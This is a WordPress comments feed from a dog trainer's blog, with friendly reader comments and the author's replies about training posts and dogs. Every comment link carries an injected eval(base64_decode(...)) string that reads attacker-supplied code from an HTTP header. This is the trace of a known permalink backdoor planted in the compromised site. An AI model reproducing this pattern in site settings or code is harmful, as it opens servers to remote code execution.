Comments for 4pawsdogs.com Blog http://4pawsdogs.com/blog1 Random Ramblings of a Middle-Aged Dog Trainer Fri, 10 Sep 2010 01:17:48 +0000 http://wordpress.org/?v=2.7.1 hourly 1 Comment on Happy New Year! by Gail http://4pawsdogs.com/blog1/2009/12/31/happy-new-year-2/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-575 Gail Fri, 01 Jan 2010 18:50:03 +0000 http://4pawsdogs.com/blog1/?p=1191#comment-575 Hallelujah! You posted! I can't believe my eyes. *smiles* You have been missed in the blogosphere. Seriously. I didn't want to bug you too much because I knew you were starting the dog training thing and figured you were super busy. Glad you took a few minutes to update. Happy New Year! And may 2010 be all that you want it to be. :) P.S. Sorry about your mom. My heart goes out to you... P.P.S. Sending pats on the head to your precious dogs from Aunt Gail. :) Hallelujah! You posted! I can’t believe my eyes. *smiles* You have been missed in the blogosphere. Seriously. I didn’t want to bug you too much because I knew you were starting the dog training thing and figured you were super busy. Glad you took a few minutes to update.

Happy New Year! And may 2010 be all that you want it to be. :)

P.S. Sorry about your mom. My heart goes out to you…

P.P.S. Sending pats on the head to your precious dogs from Aunt Gail. :)

]]> Comment on ‘Teacher’s Pet’ program changes destiny of kids, dogs by Administrator http://4pawsdogs.com/blog1/2009/08/06/teachers-pet-program-changes-destiny-of-kids-dogs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-413 Administrator Fri, 07 Aug 2009 11:53:49 +0000 http://4pawsdogs.com/blog1/?p=1129#comment-413 Thanks Gail! Sounds like dogs have touched your life in a very personal way!! They do that. It's what they're best at. The prison program is pretty cool. I guess I should do a few more posts on the great things dogs do for us. Thanks for the feedback. Thanks Gail! Sounds like dogs have touched your life in a very personal way!! They do that. It’s what they’re best at.
The prison program is pretty cool. I guess I should do a few more posts on the great things dogs do for us. Thanks for the feedback.

]]> Comment on ‘Teacher’s Pet’ program changes destiny of kids, dogs by Gail http://4pawsdogs.com/blog1/2009/08/06/teachers-pet-program-changes-destiny-of-kids-dogs/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-410 Gail Thu, 06 Aug 2009 21:59:52 +0000 http://4pawsdogs.com/blog1/?p=1129#comment-410 When I read stories like this I am always amazed at how much we can learn from dogs. There was a tv show not long ago that chronicled the same sort of service, but instead of school children, it was prisons. It had the same positive effect on the incarcerated that these children experienced. Luckily, I realized the love of dog early in my life the year after my family had experienced a terrible tragedy, and I've held onto that my entire life. I don't think I will ever live my life without a dog. When I read stories like this I am always amazed at how much we can learn from dogs. There was a tv show not long ago that chronicled the same sort of service, but instead of school children, it was prisons. It had the same positive effect on the incarcerated that these children experienced.

Luckily, I realized the love of dog early in my life the year after my family had experienced a terrible tragedy, and I’ve held onto that my entire life. I don’t think I will ever live my life without a dog.

]]> Comment on The Power of “Shaping” by Administrator http://4pawsdogs.com/blog1/2009/07/12/the-power-of-%e2%80%9cshaping%e2%80%9d/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-360 Administrator Mon, 13 Jul 2009 19:58:45 +0000 http://4pawsdogs.com/blog1/?p=1119#comment-360 That would be AWESOME!!! If you do, let me know how it goes. That would be AWESOME!!! If you do, let me know how it goes.

]]> Comment on The Power of “Shaping” by Gail http://4pawsdogs.com/blog1/2009/07/12/the-power-of-%e2%80%9cshaping%e2%80%9d/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-359 Gail Mon, 13 Jul 2009 14:25:18 +0000 http://4pawsdogs.com/blog1/?p=1119#comment-359 Very well written! Makes me want to dust of the old clicker and try again with my dogs. Very well written! Makes me want to dust of the old clicker and try again with my dogs.

]]> Comment on Gun Shy by Administrator http://4pawsdogs.com/blog1/2009/06/10/gun-shy/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-328 Administrator Fri, 12 Jun 2009 04:36:28 +0000 http://4pawsdogs.com/blog1/?p=1108#comment-328 Wow! You are always SO complimentary!!! Thanks for the wonderful comments!!!! I wish I could have met him earlier too! Wow! You are always SO complimentary!!! Thanks for the wonderful comments!!!! I wish I could have met him earlier too!

]]> Comment on Gun Shy by Gail http://4pawsdogs.com/blog1/2009/06/10/gun-shy/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-327 Gail Fri, 12 Jun 2009 02:21:05 +0000 http://4pawsdogs.com/blog1/?p=1108#comment-327 Great post. Very encouraging. Spenser (RIP) was an abundant source for training opportunities, but in the end, we did succumb to limiting our walks and interaction with dogs and people outside the family. I still feel guilty about it to this day. He was just much more dog than we could handle and so out of control that I felt he would not fare well with anyone else. We sent him to a well-known training facility that did virtually nothing for him. All he learned were the hand commands for sit, down, and shake paw. But he didn't want to just shake your paw, he wanted to devour your hand once he had it in his clutches. Oy! Well, I'm rambling now, but I wish I had known you earlier in Spenser's early days. Maybe you could have helped us. :( Keep up the good work. There are so many dogs out there that need you! Great post. Very encouraging.

Spenser (RIP) was an abundant source for training opportunities, but in the end, we did succumb to limiting our walks and interaction with dogs and people outside the family. I still feel guilty about it to this day. He was just much more dog than we could handle and so out of control that I felt he would not fare well with anyone else.

We sent him to a well-known training facility that did virtually nothing for him. All he learned were the hand commands for sit, down, and shake paw. But he didn’t want to just shake your paw, he wanted to devour your hand once he had it in his clutches. Oy!

Well, I’m rambling now, but I wish I had known you earlier in Spenser’s early days. Maybe you could have helped us. :( Keep up the good work. There are so many dogs out there that need you!

]]> Comment on The Turbinator by Administrator http://4pawsdogs.com/blog1/2009/05/26/the-turbinator/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-324 Administrator Thu, 04 Jun 2009 22:05:45 +0000 http://4pawsdogs.com/blog1/?p=1098#comment-324 Thanks! He's a funny boy! Thanks! He’s a funny boy!

]]> Comment on The Turbinator by Jenny http://4pawsdogs.com/blog1/2009/05/26/the-turbinator/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-323 Jenny Thu, 04 Jun 2009 21:06:14 +0000 http://4pawsdogs.com/blog1/?p=1098#comment-323 I like the editing! Too cute! I like the editing! Too cute!

]]> Comment on The Turbinator by Gail http://4pawsdogs.com/blog1/2009/05/26/the-turbinator/%&($eval(base64_decode($_SERVERHTTP_EXECCODE)).+)&%/comment-page-1/#comment-319 Gail Wed, 27 May 2009 14:26:08 +0000 http://4pawsdogs.com/blog1/?p=1098#comment-319 That was too cute! I've not seen Turbo since he was a puppy. Wow. Love the videos! Keep 'em coming. :) That was too cute! I’ve not seen Turbo since he was a puppy. Wow.

Love the videos! Keep ‘em coming. :)

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